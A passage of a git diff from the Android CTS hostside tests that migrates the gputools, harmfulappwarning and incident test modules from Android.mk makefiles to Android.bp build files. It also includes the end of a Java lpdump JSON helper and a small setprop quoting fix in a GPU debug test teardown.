+            CLog.e("lpdump returns %d: %s", commandResult.getExitCode(),
+                   commandResult.getStderr());
+            return;
+        }
+
+        if (commandResult.getExitCode() == 0 && !commandResult.getStderr().isEmpty()) {
+            CLog.w("Warnings occur when running lpdump --json:\n%s",
+                   commandResult.getStderr());
+        }
+
+        String output = commandResult.getStdout();
+        if (output == null) output = "";
+        output = output.trim();
+        if (output.isEmpty()) {
+            CLog.e("lpdump --json does not generate anything");
+            return;
+        }
+
+        if (!isJsonString(output)) {
+            CLog.e("lpdump --json does not generate a valid JSON string: %s", output);
+            return;
+        }
+
+        try (FileWriter writer = new FileWriter(jsonFile)) {
+            writer.write(output);
+        }
+    }
+
+    private static boolean isJsonString(String s) {
+        try {
+            new JSONObject(s);
+            return true;
+        } catch (JSONException e) {
+            return false;
+        }
+    }
+}
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
new file mode 100644
index 0000000..dc8ac4f
--- /dev/null
+++ b/hostsidetests/gputools/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsGpuToolsHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: ["platform-test-annotations-host"],
+}
diff --git a/hostsidetests/gputools/Android.mk b/hostsidetests/gputools/Android.mk
deleted file mode 100644
index b2946be..0000000
--- a/hostsidetests/gputools/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MODULE := CtsGpuToolsHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_STATIC_JAVA_LIBRARIES := platform-test-annotations-host
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
new file mode 100644
index 0000000..123fcbe
--- /dev/null
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -0,0 +1,71 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libctsgputools_jni",
+    gtest: false,
+    srcs: [
+        "jni/CtsGpuToolsJniOnLoad.cpp",
+        "jni/android_gputools_cts_RootlessGpuDebug.cpp",
+    ],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-DEBUG",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: ["libctsgputools_jni"],
+    aaptflags: [
+        "--rename-manifest-package",
+        "android.rootlessgpudebug.DEBUG.app",
+        "--debug-mode",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-RELEASE",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libctsgputools_jni",
+        "libVkLayer_nullLayerC",
+    ],
+    aaptflags: [
+        "--rename-manifest-package android.rootlessgpudebug.RELEASE.app",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/apps/Android.mk b/hostsidetests/gputools/apps/Android.mk
deleted file mode 100644
index c913837..0000000
--- a/hostsidetests/gputools/apps/Android.mk
+++ /dev/null
@@ -1,71 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libctsgputools_jni
-LOCAL_SRC_FILES := \
-    jni/CtsGpuToolsJniOnLoad.cpp \
-    jni/android_gputools_cts_RootlessGpuDebug.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-DEBUG
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.DEBUG.app \
---debug-mode
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE_TAGS := tests
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-RELEASE
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libctsgputools_jni \
-libVkLayer_nullLayerC
-
-LOCAL_AAPT_FLAGS := \
---rename-manifest-package android.rootlessgpudebug.RELEASE.app
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
new file mode 100644
index 0000000..cb6873a
--- /dev/null
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -0,0 +1,89 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test_library {
+    name: "libVkLayer_nullLayerA",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
+        "-DLAYERNAME=A",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+cc_test_library {
+    name: "libVkLayer_nullLayerB",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
+        "-DLAYERNAME=B",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+cc_test_library {
+    name: "libVkLayer_nullLayerC",
+    gtest: false,
+    srcs: ["jni/nullLayer.cpp"],
+    cflags: [
+        "-std=c++14",
+        "-Wall",
+        "-Werror",
+        "-fvisibility=hidden",
+        "-DLAYERNAME=C",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libvulkan",
+        "liblog",
+    ],
+    stl: "c++_shared",
+    sdk_version: "current",
+}
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-LAYERS",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libVkLayer_nullLayerA",
+        "libVkLayer_nullLayerB",
+        "libVkLayer_nullLayerC",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/layers/Android.mk b/hostsidetests/gputools/layers/Android.mk
deleted file mode 100644
index 201fafd..0000000
--- a/hostsidetests/gputools/layers/Android.mk
+++ /dev/null
@@ -1,71 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerA
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="A"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerB
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="B"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libVkLayer_nullLayerC
-LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := jni/nullLayer.cpp
-LOCAL_CFLAGS += -std=c++14 -Wall -Werror -fvisibility=hidden -DLAYERNAME="C"
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan liblog
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_SDK_VERSION := current
-include $(BUILD_SHARED_LIBRARY)
-
-
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_PACKAGE_NAME := CtsGpuToolsRootlessGpuDebugApp-LAYERS
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-libVkLayer_nullLayerA \
-libVkLayer_nullLayerB \
-libVkLayer_nullLayerC
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index c17436b..cb35e63 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -194,7 +194,7 @@
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\"\"\'");
+        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
     }
 
     /**
diff --git a/hostsidetests/harmfulappwarning/Android.bp b/hostsidetests/harmfulappwarning/Android.bp
new file mode 100644
index 0000000..eef6b59
--- /dev/null
+++ b/hostsidetests/harmfulappwarning/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHarmfulAppWarningHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/harmfulappwarning/Android.mk b/hostsidetests/harmfulappwarning/Android.mk
deleted file mode 100644
index 5ec2e99..0000000
--- a/hostsidetests/harmfulappwarning/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := CtsHarmfulAppWarningHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_CTS_TEST_PACKAGE := android.host.harmfulappwarning
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/harmfulappwarning/sampleapp/Android.bp b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
new file mode 100644
index 0000000..e129af5
--- /dev/null
+++ b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsHarmfulAppWarningSampleApp",
+    // Don't include this package in any target
+    // When built, explicitly put it in the data partition.
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/harmfulappwarning/sampleapp/Android.mk b/hostsidetests/harmfulappwarning/sampleapp/Android.mk
deleted file mode 100644
index a0aba0d..0000000
--- a/hostsidetests/harmfulappwarning/sampleapp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsHarmfulAppWarningSampleApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.bp b/hostsidetests/harmfulappwarning/testapp/Android.bp
new file mode 100644
index 0000000..9e1174f
--- /dev/null
+++ b/hostsidetests/harmfulappwarning/testapp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsHarmfulAppWarningTestApp",
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.mk b/hostsidetests/harmfulappwarning/testapp/Android.mk
deleted file mode 100644
index 34854f4..0000000
--- a/hostsidetests/harmfulappwarning/testapp/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsHarmfulAppWarningTestApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/incident/Android.bp b/hostsidetests/incident/Android.bp
new file mode 100644
index 0000000..1589078
--- /dev/null
+++ b/hostsidetests/incident/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsIncidentHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "platformprotos",
+    ],
+}
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
deleted file mode 100644
index 8900b76..0000000
--- a/hostsidetests/incident/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# tag this module as a cts test artifact
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MODULE := CtsIncidentHostTestCases
-
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_STATIC_JAVA_LIBRARIES := platformprotos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/apps/Android.mk b/hostsidetests/incident/apps/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/incident/apps/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.bp b/hostsidetests/incident/apps/batterystatsapp/Android.bp
new file mode 100644
index 0000000..3cbe960
--- /dev/null
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsBatteryStatsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "org.apache.http.legacy",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
deleted file mode 100644
index 822bb65..0000000
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsBatteryStatsApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.bp b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
new file mode 100644
index 0000000..4e710d8
--- /dev/null
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAppWidgetApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
deleted file mode 100644
index 0a671a1..0000000
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAppWidgetApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
